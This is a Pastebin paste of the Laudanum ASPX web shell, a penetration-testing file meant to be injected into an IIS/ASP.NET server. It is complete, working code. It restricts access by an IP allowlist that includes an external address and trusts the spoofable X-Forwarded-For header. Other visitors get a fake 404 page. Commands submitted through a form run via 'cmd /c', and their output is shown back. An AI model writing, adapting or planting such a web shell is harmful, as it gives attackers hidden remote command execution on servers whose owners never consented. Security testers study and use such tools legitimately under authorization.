Advertisement
Guest User

Untitled

a guest
Nov 14th, 2018
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.30 KB | None | 0 0
  1. <%@ Page Language="C#"%>
  2. <%@ Import Namespace="System" %>
  3.  
  4. <script runat="server">
  5.  
  6. /* *****************************************************************************
  7. ***
  8. *** Laudanum Project
  9. *** A Collection of Injectable Files used during a Penetration Test
  10. ***
  11. *** More information is available at:
  12. *** http://laudanum.secureideas.net
  13. ***
  14. *** Project Leads:
  15. *** Kevin Johnson <[email protected]>
  16. *** Tim Medin <[email protected]>
  17. ***
  18. *** Copyright 2014 by Kevin Johnson and the Laudanum Team
  19. ***
  20. ********************************************************************************
  21. ***
  22. *** This file provides shell access to the system.
  23. ***
  24. ********************************************************************************
  25. *** This program is free software; you can redistribute it and/or
  26. *** modify it under the terms of the GNU General Public License
  27. *** as published by the Free Software Foundation; either version 2
  28. *** of the License, or (at your option) any later version.
  29. ***
  30. *** This program is distributed in the hope that it will be useful,
  31. *** but WITHOUT ANY WARRANTY; without even the implied warranty of
  32. *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  33. *** GNU General Public License for more details.
  34. ***
  35. *** You can get a copy of the GNU General Public License from this
  36. *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
  37. *** You can also write to the Free Software Foundation, Inc., 59 Temple
  38. *** Place - Suite 330, Boston, MA 02111-1307, USA.
  39. ***
  40. ***************************************************************************** */
  41.  
  42. string stdout = "";
  43. string stderr = "";
  44.  
  45. void die() {
  46. //HttpContext.Current.Response.Clear();
  47. HttpContext.Current.Response.StatusCode = 404;
  48. HttpContext.Current.Response.StatusDescription = "Not Found";
  49. HttpContext.Current.Response.Write("<h1>404 Not Found</h1>");
  50. HttpContext.Current.Server.ClearError();
  51. HttpContext.Current.Response.End();
  52. }
  53.  
  54. void Page_Load(object sender, System.EventArgs e) {
  55.  
  56. // Check for an IP in the range we want
  57. string[] allowedIps = new string[] {"::1","192.168.0.1", "127.0.0.1", "5.79.113.48"};
  58.  
  59. // check if the X-Fordarded-For header exits
  60. string remoteIp;
  61. if (HttpContext.Current.Request.Headers["X-Forwarded-For"] == null) {
  62. remoteIp = Request.UserHostAddress;
  63. } else {
  64. remoteIp = HttpContext.Current.Request.Headers["X-Forwarded-For"].Split(new char[] { ',' })[0];
  65. }
  66.  
  67. bool validIp = false;
  68. foreach (string ip in allowedIps) {
  69. validIp = (validIp || (remoteIp == ip));
  70. }
  71.  
  72. if (!validIp) {
  73. die();
  74. }
  75.  
  76. if (Request.Form["c"] != null) {
  77. // do or do not, there is no try
  78. //try {
  79. // create the ProcessStartInfo using "cmd" as the program to be run, and "/c " as the parameters.
  80. // "/c" tells cmd that we want it to execute the command that follows, and exit.
  81. System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + Request.Form["c"]);
  82.  
  83. // The following commands are needed to redirect the standard output and standard error.
  84. procStartInfo.RedirectStandardOutput = true;
  85. procStartInfo.RedirectStandardError = true;
  86. procStartInfo.UseShellExecute = false;
  87. // Do not create the black window.
  88. procStartInfo.CreateNoWindow = true;
  89. // Now we create a process, assign its ProcessStartInfo and start it
  90. System.Diagnostics.Process p = new System.Diagnostics.Process();
  91. p.StartInfo = procStartInfo;
  92. p.Start();
  93. // Get the output and error into a string
  94. stdout = p.StandardOutput.ReadToEnd();
  95. stderr = p.StandardError.ReadToEnd();
  96. //}
  97. //catch (Exception objException)
  98. //{
  99. }
  100. }
  101. </script>
  102. <html>
  103. <head><title>Laundanum ASPX Shell</title></head>
  104. <body onload="document.shell.c.focus()">
  105.  
  106. <form method="post" name="shell">
  107. cmd /c <input type="text" name="c"/>
  108. <input type="submit"><br/>
  109. STDOUT:<br/>
  110. <pre><% = stdout.Replace("<", "&lt;") %></pre>
  111. <br/>
  112. <br/>
  113. <br/>
  114. STDERR:<br/>
  115. <pre><% = stderr.Replace("<", "&lt;") %></pre>
  116.  
  117.  
  118. </form>
  119.  
  120. <hr/>
  121. <address>
  122. Copyright &copy; 2014, <a href="mailto:[email protected]">Kevin Johnson</a> and the Laudanum team.<br/>
  123. Written by Tim Medin.<br/>
  124. Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
  125. </address>
  126.  
  127. </body>
  128. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement